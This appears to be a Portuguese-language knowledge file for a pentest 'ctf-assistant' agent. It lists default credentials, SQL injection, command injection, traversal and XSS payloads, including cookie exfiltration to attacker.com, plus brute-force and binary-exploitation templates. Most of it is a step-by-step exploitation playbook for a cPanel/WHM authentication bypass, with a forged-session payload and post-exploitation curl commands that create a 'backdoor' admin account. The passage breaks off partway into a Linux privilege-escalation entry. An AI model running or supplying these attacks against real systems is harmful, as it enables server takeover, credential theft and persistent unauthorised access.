Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql
CTF Exploitation Techniques (ctf-assistant agent)
Web Exploitation
# SQL Injection in CTFs
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"admin' --",
"' UNION SELECT NULL--",
"' UNION SELECT username,password FROM users--",
"' UNION SELECT LOAD_FILE('/flag')--" # MySQL file read
]
# Command Injection
injection_payloads = [
"; cat /flag",
"| cat /flag",
"&& cat /flag",
"$(cat /flag)",
"`cat /flag`"
]
# Directory Traversal
traversal_payloads = [
"../../../flag",
"....//....//....//flag",
"..%2F..%2F..%2Fflag",
"/etc/passwd",
"/proc/self/environ"
]
XSS in CTFs
// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>
// Bypass filters
<img src=x
<svg
<body
// Exfiltrate data
<script>
fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>
Password Cracking em CTFs
# Identificar hash type
hashid hash.txt
hash-identifier
# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt
# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"
Binary Exploitation (pwntools)
from pwn import *
# Template para CTF binary exploitation
r = remote('target.com', 1337)
# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6) # Return address
r.sendline(payload)
r.interactive()
# ROP chain
rop = ROP('./binary')
rop.call(rop.ret) # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])
Forensics em CTFs
# File carving
binwalk -e firmware.bin
foremost -i image.dd
# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist
# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag
# Steganography
steghide extract -sf image.jpg
zsteg image.png
Crypto CTF Techniques
# Caesar cipher
def caesar_decrypt(ciphertext, shift):
return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)
# XOR brute force
def xor_brute(ciphertext):
for key in range(256):
plaintext = ''.join(chr(b ^ key) for b in ciphertext)
if plaintext.isprintable():
print(f"Key {key}: {plaintext}")
# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)
EXPLOIT-WEB-002: CVE-2026-41940 — cPanel & WHM Authentication Bypass
VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass
Root Cause (Resumo Técnico)
A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:
- CRLF Injection no fluxo de criação de sessão
- Falha na validação de cookies que permite injeção de headers
- Tratamento inseguro de sessão que aceita cookies forjados
Mecanismo de ataque (4 stages):
Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed
Por que é CVSS 9.8:
- Nenhuma autenticação requerida (pre-login bypass)
- Acesso root completo ao WHM
- MFA bypassado (tfa_verified=1 injetado)
- Complexidade baixa (ataque automatizado)
- Exploração confirmada em produção desde fevereiro/2026
Pré-requisitos para Exploração
1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch
Passo-a-Passo para Pentest
# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083
# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password detect
# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed
# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password exploit
# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
# [+] Root access: GRANTED
# [+] Exploitation complete — full admin access
# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password verify
# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
-t https://TARGET -u admin -p password check-patch
Pós-Exploração (Manual)
# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/version
# Listar contas
curl -k -H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
https://TARGET/json-api/listaccts
# Criar conta cPanel
curl -k -X POST \
-H "Authorization: Basic <payload>" \
-H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
-d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
https://TARGET/json-api/createacct
Payload Bypass
PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1
Template de Finding
FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED
DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.
EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]
IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor
PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)
Mitigação (para reporte)
# Atualizar cPanel
/scripts/upcp --force
# Verificar versão
/usr/local/cpanel/version
# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"
# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP
Referências
- First disclosed: Fevereiro 2026
- Exploitation in wild: Confirmado
- Patch status: Disponível (verificar changelog cPanel)
- PoC location:
/root/.pcode/pocs/cPanel/CVE-2026-41940/
EXPLOIT-LPE-002: CVE-2026-46333 "ssh-keysign-pwn" - Linux Kernel ptrace_may_access Bypass
VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass
Root Cause (Resumo Técnico)
A vulnerabilidade está na função __ptrace_may_access() do kernel Linux, que verifica se um processo pode acessar outro processo.
Cadeia de exploração:
__ptrace_may_access()ignora a verificaçãodumpablequandotask->mm == NULLdo_exit()executaexit_mm()(define task->mm = NULL) ANTES deexit_files()- Durante essa janela de tempo, o processo ainda tem file descriptors abertos
pidfd_getfd(2)succeeds quando o uid do caller matches o uid do target- Resultado: roubo de file descriptors de processos root
Por que é stealth:
- Explora race condition natural do kernel
- Não requer modificações no sistema
- Janela de exploração é milissegundos
- File descriptors são clonados, não movidos
Affected Kernels
floor: torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)
AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable
Pré-requisitos para Exploração
1. Acesso local como usuário não-p
…(truncated)